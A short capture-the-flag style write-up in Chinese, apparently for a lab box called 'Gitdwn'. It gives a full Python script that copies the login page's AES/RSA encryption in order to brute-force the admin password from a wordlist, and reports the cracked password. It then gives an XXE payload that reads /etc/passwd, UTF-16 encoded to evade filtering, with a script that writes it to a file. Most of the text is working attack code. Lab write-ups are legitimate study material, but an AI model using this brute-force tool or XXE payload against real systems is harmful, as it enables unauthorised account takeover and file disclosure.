Gitdwn

先扫

登录口可以爆破密码，根据login.js的加密逻辑写一个脚本

import requests
import json
import base64
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

TARGET_URL = "http://192.168.79.214/api/login.php"
USERNAME = "admin"
DICTIONARY_FILE = "D:\\tools\\dictionaries\\somd5-top1w.txt"

RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

def encrypt_payload(username, password):
    # 1. 生成随机 AES Key (128位) 和 IV
    aes_key = get_random_bytes(16)
    iv = get_random_bytes(16)

    # 2. AES 加密用户信息 (PKCS7 Padding)
    credentials = json.dumps({"username": username, "password": password}).encode('utf-8')
    cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
    encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(credentials, AES.block_size))).decode('utf-8')

    # 3. RSA 加密 AES Key 和 IV
    # 注意：前端使用 JSEncrypt，默认使用 PKCS#1 v1.5 填充
    recipient_key = RSA.import_key(RSA_PUBLIC_KEY)
    cipher_rsa = PKCS1_v1_5.new(recipient_key)
    
    # 模拟前端：先转 base64 再用 RSA 加密
    aes_key_b64 = base64.b64encode(aes_key)
    iv_b64 = base64.b64encode(iv)
    
    encrypted_key = base64.b64encode(cipher_rsa.encrypt(aes_key_b64)).decode('utf-8')
    encrypted_iv = base64.b64encode(cipher_rsa.encrypt(iv_b64)).decode('utf-8')

    return {
        "encryptedData": encrypted_data,
        "encryptedKey": encrypted_key,
        "encryptedIv": encrypted_iv
    }

def start_bruteforce():
    try:
        with open(DICTIONARY_FILE, 'r') as f:
            passwords = f.read().splitlines()
    except FileNotFoundError:
        print(f"Error: {DICTIONARY_FILE} not found.")
        return

    print(f"[*] Starting bruteforce for user: {USERNAME}")
    
    for pwd in passwords:
        payload = encrypt_payload(USERNAME, pwd)
        
        try:
            response = requests.post(TARGET_URL, json=payload, timeout=5)
            result = response.json()
            
            if result.get("success"):
                print(f"[+] SUCCESS! Password found: {pwd}")
                print(f"[+] Token: {result.get('token')}")
                return
                
        except Exception as e:
            print(f"[!] Error during request for {pwd}: {e}")

if __name__ == "__main__":
    start_bruteforce()

爆出来密码admin/hotdog，登录上去，要求传XML，一眼XXE

正常打不成功，用utf16编码绕过一下就行，exp生成脚本

import requests

payload = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>

"""
payload = payload.encode('utf-16')
with open("exp.xml","wb") as f:
  f.write(payload)